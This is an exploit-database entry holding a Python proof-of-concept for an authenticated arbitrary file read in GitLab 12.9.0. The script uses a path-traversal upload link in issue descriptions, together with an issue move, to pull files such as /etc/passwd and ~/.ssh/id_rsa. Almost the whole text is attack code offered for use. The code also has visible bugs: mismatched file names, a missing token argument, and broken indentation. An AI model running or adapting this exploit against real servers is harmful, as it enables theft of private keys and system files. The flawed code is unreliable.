Gitlab 12.9.0 - Arbitrary File Read (Authenticated) Exploit

# Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated)
# Google Dork: -
# Date: 11/15/2020
# Exploit Author: Jasper Rasenberg
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Kali Linux 2020.3
 
 
 
#You can create as many personal access tokens as you like from your GitLab profile.
#   Sign in to GitLab.
#    In the upper-right corner, click your avatar and select Settings.
#    On the User Settings menu, select Access Tokens.
#    Choose a name and optional expiry date for the token.
#    Choose the desired scopes.
#    Click the Create personal access token button.
#    Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one.
 
# REFERENCE: https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html
 
#   pip3 install gitlab
#   pip3 install requests
#   Use a client cert to verify SSL or set to False
 
import os
import requests
import json
from time import sleep
from gitlab import *
 
session = requests.Session()
session.verify = f'{os.getcwd()}/<cert.pem>' # or set session.verify = False
 
host = ''
 
def exploit(projectName, issueTitle, files, token):
 
    gl = Gitlab(host, private_token=token, session=session)
    gl.auth()
    p1 = gl.projects.create({'name': f"{projectName}-1"})
    p2 = gl.projects.create({'name': f"{projectName}-2"})
 
    for i, f in enumerate(files):
        stripped_f = f.rstrip('\n')
        issue = p1.issues.create({ \
                'title': f"{issueTitle}-{i}",
                'description': \
                "![a](/uploads/11111111111111111111111111111111/"\
                f"../../../../../../../../../../../../../..{stripped_f})"})
        print(issue.description)
        sleep(3)
        try:
            issue.move(p2.id)
        except Exception as e:
            pass
        sleep(3)
 
if __name__ == "__main__":
 
     write_files = ['/etc/passwd', '~/.ssh/id_rsa']
     with open('senstive_files', 'w') as sens:
         for file in write_files:
             sens.write(file)
 
    files = list(open('sensitive_files', 'r'))
    exploit('project-1', 'issue-1', files)
 
#  0day.today [2020-11-20]  #